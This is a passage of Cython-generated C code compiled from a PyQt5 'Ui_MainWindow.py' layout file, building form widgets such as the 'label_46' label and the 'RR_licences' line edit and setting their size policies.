self.formLayout_3.setWidget(18, QtWidgets.QFormLayout.FieldRole, self.RR_number) * self.label_46 = QtWidgets.QLabel(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * self.label_46.setObjectName("label_46") * self.formLayout_3.setWidget(19, QtWidgets.QFormLayout.LabelRole, self.label_46) */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 533, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 533, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 533, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 533, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 533, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 533, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 533, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 533, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_46, __pyx_t_7) < 0) __PYX_ERR(0, 533, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":534 * self.formLayout_3.setWidget(18, QtWidgets.QFormLayout.FieldRole, self.RR_number) * self.label_46 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_46.setObjectName("label_46") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(19, QtWidgets.QFormLayout.LabelRole, self.label_46) * self.RR_licences = QtWidgets.QLineEdit(self.formLayoutWidget_3) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_46); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 534, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 534, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__338, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 534, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":535 * self.label_46 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_46.setObjectName("label_46") * self.formLayout_3.setWidget(19, QtWidgets.QFormLayout.LabelRole, self.label_46) # <<<<<<<<<<<<<< * self.RR_licences = QtWidgets.QLineEdit(self.formLayoutWidget_3) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 535, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 535, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 535, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 535, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 535, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_46); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 535, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_19, __pyx_t_1, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 535, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_19, __pyx_t_1, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 535, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 535, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_INCREF(__pyx_int_19); __Pyx_GIVEREF(__pyx_int_19); PyTuple_SET_ITEM(__pyx_t_5, 0+__pyx_t_8, __pyx_int_19); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_5, 1+__pyx_t_8, __pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 2+__pyx_t_8, __pyx_t_3); __pyx_t_1 = 0; __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_5, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 535, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":536 * self.label_46.setObjectName("label_46") * self.formLayout_3.setWidget(19, QtWidgets.QFormLayout.LabelRole, self.label_46) * self.RR_licences = QtWidgets.QLineEdit(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 536, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 536, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 536, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 536, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 536, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 536, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 536, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 536, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_RR_licences, __pyx_t_7) < 0) __PYX_ERR(0, 536, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":537 * self.formLayout_3.setWidget(19, QtWidgets.QFormLayout.LabelRole, self.label_46) * self.RR_licences = QtWidgets.QLineEdit(self.formLayoutWidget_3) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) # <<<<<<<<<<<<<< * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 537, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 537, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 537, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 537, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Expanding); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 537, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 537, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 537, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Expanding); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 537, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_3, __pyx_t_5, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 537, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_3, __pyx_t_5, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 537, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_6 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 537, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_3) { __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_3); __pyx_t_3 = NULL; } __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_8, __pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_8, __pyx_t_4); __pyx_t_5 = 0; __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 537, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF_SET(__pyx_v_sizePolicy, __pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":538 * self.RR_licences = QtWidgets.QLineEdit(self.formLayoutWidget_3) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.RR_licences.sizePolicy().hasHeightForWidth()) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setHorizontalStretch); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 538, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__339, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 538, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":539 * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setHeightForWidth(self.RR_licences.sizePolicy().hasHeightForWidth()) * self.RR_licences.setSizePolicy(sizePolicy) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setVerticalStretch); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 539, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__340, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 539, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":540 * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.RR_licences.sizePolicy().hasHeightForWidth()) # <<<<<<<<<<<<<< * self.RR_licences.setSizePolicy(sizePolicy) * self.RR_licences.setMinimumSize(QtCore.QSize(420, 0)) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setHeightForWidth); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 540, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_licences); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 540, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_sizePolicy); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 540, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 540, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 540, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_hasHeightForWidth); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 540, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_4) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 540, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 540, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 540, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 540, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 540, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 540, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 540, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":541 * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.RR_licences.sizePolicy().hasHeightForWidth()) * self.RR_licences.setSizePolicy(sizePolicy) # <<<<<<<<<<<<<< * self.RR_licences.setMinimumSize(QtCore.QSize(420, 0)) * self.RR_licences.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_licences); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 541, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setSizePolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 541, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_v_sizePolicy); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 541, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_sizePolicy}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 541, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_sizePolicy}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 